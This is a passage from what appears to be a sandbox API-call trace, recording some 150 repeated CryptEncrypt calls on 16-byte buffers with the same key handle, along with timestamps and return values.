pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.578] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.579] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.580] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.580] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.580] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.580] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.580] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.580] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.580] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.580] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.580] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.580] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.581] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.581] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.581] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.581] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.581] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.581] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.581] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.581] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.582] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.583] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.584] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.585] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.585] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.585] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.585] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.585] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.585] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.585] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.585] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.585] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.585] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.585] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.586] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 